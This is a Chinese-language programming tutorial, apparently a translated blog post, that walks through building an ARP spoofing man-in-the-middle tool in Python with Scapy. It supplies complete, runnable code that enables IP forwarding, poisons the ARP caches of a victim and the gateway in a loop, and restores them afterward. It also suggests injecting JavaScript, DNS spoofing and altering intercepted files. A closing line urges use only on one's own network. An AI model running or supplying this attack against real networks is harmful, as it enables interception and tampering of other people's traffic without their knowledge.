Python如何构建ARP欺骗器?本文使用 Scapy 在 Python 中构建和创建 ARP 欺骗脚本,以便能够成为中间人来监视、拦截和修改网络中的数据包。
如何使用Scapy构建ARP欺骗器?在本教程中,我们将使用Python 中的Scapy库构建一个ARP 欺骗脚本。
什么是ARP欺骗
嗯,简而言之,它是一种获得中间人情况的方法。从技术上讲,它是一种攻击将欺骗性 ARP 数据包(虚假数据包)发送到网络(或特定主机)上的技术,使攻击者能够即时拦截、更改或修改网络流量。
一旦你(作为攻击者)成为中间人,你就可以从字面上拦截或更改传入或传出受害者设备的所有内容。因此,在本教程中,我们将编写一个 Python 脚本来做到这一点。
在常规网络中,所有设备都正常与网关通信,然后与 Internet 通信,如下图所示:
现在攻击者需要向两台主机发送 ARP 响应:
- 向网关发送 ARP 响应,说“我有受害者的 IP 地址”。
- 向受害者发送 ARP 响应,说“我有网关的 IP 地址”。
一旦攻击者进行了如上图所示的 ARP Spoof 攻击,他/她将处于中间人情况:
此时,一旦受害者发送任何数据包(例如 HTTP 请求),它将首先传递到攻击者的机器,然后将数据包转发到网关,因此你可能注意到,受害者对此一无所知攻击,换句话说,他/她将无法弄清楚他/她正在被攻击。
理论够了!在我们开始之前,你需要安装所需的库:
pip3 install scapy
如果你使用的是 Windows,请查看本教程以使 Scapy 在你的机器上正常运行。此外,你需要安装pywin32,如下所示:
pip3 install pywin32
Python构建ARP欺骗器示例:编写 Python 脚本
Python如何构建ARP欺骗器?首先,我们需要导入必要的模块:
from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys
注意:你需要在你的机器上安装 scapy 库,前往这篇文章,或者官方 scapy网站。
一开始,我需要提到我们需要启用 IP 转发。
如何使用Scapy构建ARP欺骗器?在各种平台上启用IP路由的方法有很多,但是,我在这里制作了一个python模块,让你可以在Windows下启用IP路由,而无需担心任何事情。
对于类 Unix 用户(本教程的建议平台),你只需要编辑需要 root 访问权限的文件“/proc/sys/net/ipv4/ip_forward”并将值1 设置为已启用,检查本教程了解更多信息。无论如何,这个函数是这样做的:
def _enable_linux_iproute():
"""
Enables IP route ( IP Forward ) in linux-based distro
"""
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
if f.read() == 1:
# already enabled
return
with open(file_path, "w") as f:
print(1, file=f)
对于 Windows 用户,一旦你复制 services.py
到当前目录中,你就可以复制粘贴此功能:
def _enable_windows_iproute():
"""
Enables IP route (IP Forwarding) in Windows
"""
from services import WService
# enable Remote Access service
service = WService("RemoteAccess")
service.start()
Python构建ARP欺骗器示例 - 下面的函数处理在所有平台中启用 IP 路由:
def enable_ip_route(verbose=True):
"""
Enables IP forwarding
"""
if verbose:
print("[!] Enabling IP Routing...")
_enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")
现在,让我们进入很酷的东西。首先,我们需要一个实用函数,使我们能够获取网络中任何机器的 MAC 地址:
def get_mac(ip):
"""
Returns MAC address of any device connected to the network
If ip is down, returns None instead
"""
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
if ans:
return ans[0][1].src
我们使用 Scapy 的srp()函数将请求作为数据包发送并继续侦听响应,在这种情况下,我们发送 ARP 请求并侦听任何 ARP 响应。
其次,我们将创建一个函数来完成本教程的核心工作,给定一个目标 IP 地址和一个主机 IP 地址,它会更改目标 IP 地址的 ARP 缓存,说我们有主机的 IP 地址:
def spoof(target_ip, host_ip, verbose=True):
"""
Spoofs `target_ip` saying that we are `host_ip`.
it is accomplished by changing the ARP cache of the target (poisoning)
"""
# get the mac address of the target
target_mac = get_mac(target_ip)
# craft the arp 'is-at' operation packet, in other words; an ARP response
# we don't specify 'hwsrc' (source MAC address)
# because by default, 'hwsrc' is the real MAC address of the sender (ours)
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
# send the packet
# verbose = 0 means that we send the packet without printing any thing
send(arp_response, verbose=0)
if verbose:
# get the MAC address of the default interface we are using
self_mac = ARP().hwsrc
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))
上述代码获取目标的 MAC 地址,制作恶意 ARP 回复(响应)数据包,然后发送。
一旦我们想阻止攻击,我们需要将真实地址重新分配给目标设备(以及网关),如果我们不这样做,受害者将失去互联网连接,很明显发生了一些事情,我们不想这样做,我们将依次发送七个合法的 ARP 回复数据包(常见做法):
def restore(target_ip, host_ip, verbose=True):
"""
Restores the normal process of a regular network
This is done by sending the original informations
(real IP and MAC of `host_ip` ) to `target_ip`
"""
# get the real MAC address of target
target_mac = get_mac(target_ip)
# get the real MAC address of spoofed (gateway, i.e router)
host_mac = get_mac(host_ip)
# crafting the restoring packet
arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac)
# sending the restoring packet
# to restore the network to its normal process
# we send each reply seven times for a good measure (count=7)
send(arp_response, verbose=0, count=7)
if verbose:
print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))
这类似于spoof()函数,唯一的区别是它发送的合法数据包很少。换句话说,它正在发送真实的信息。
如何使用Scapy构建ARP欺骗器?现在我们需要编写主要代码,它同时欺骗了两者;无限地访问目标 和 主机(网关),直到检测到CTRL+C,因此我们将恢复原始地址,如下Python构建ARP欺骗器示例:
if __name__ == "__main__":
# victim ip address
target = "192.168.1.100"
# gateway ip address
host = "192.168.1.1"
# print progress to the screen
verbose = True
# enable ip forwarding
enable_ip_route()
try:
while True:
# telling the `target` that we are the `host`
spoof(target, host, verbose)
# telling the `host` that we are the `target`
spoof(host, target, verbose)
# sleep for one second
time.sleep(1)
except KeyboardInterrupt:
print("[!] Detected CTRL+C ! restoring the network, please wait...")
restore(target, host)
restore(host, target)
我在 linux 机器上运行脚本,这是我的结果的屏幕截图:
Python如何构建ARP欺骗器?在这个例子中,我使用我的个人电脑作为受害者,如果你尝试检查你的ARP 缓存:
你将看到攻击者的 MAC 地址(在本例中为"192.168.1.105")与网关的相同,我们绝对上当了!
在攻击者的机器上,当你点击CTRL+C关闭程序时,这里是恢复过程的截图:
回到受害机器,你将看到网关的原始 MAC 地址已恢复:
现在,你可能会说成为中间人有什么好处?嗯,这是一个非常重要的问题。事实上,只要你对 Scapy 或任何其他中间人工具有很好的体验,你就可以做很多事情,可能性是无穷无尽的。例如,你可以在 HTML 响应中注入 javascript 代码、DNS 欺骗你的目标、拦截文件并动态修改它们、网络嗅探和监控等等。
所以,这是 ARP 欺骗攻击的快速演示,请记住,合乎道德地使用它!在你的专用网络上使用它,不要在你没有授权的网络上使用它。
查看本教程以检测网络中的此类攻击!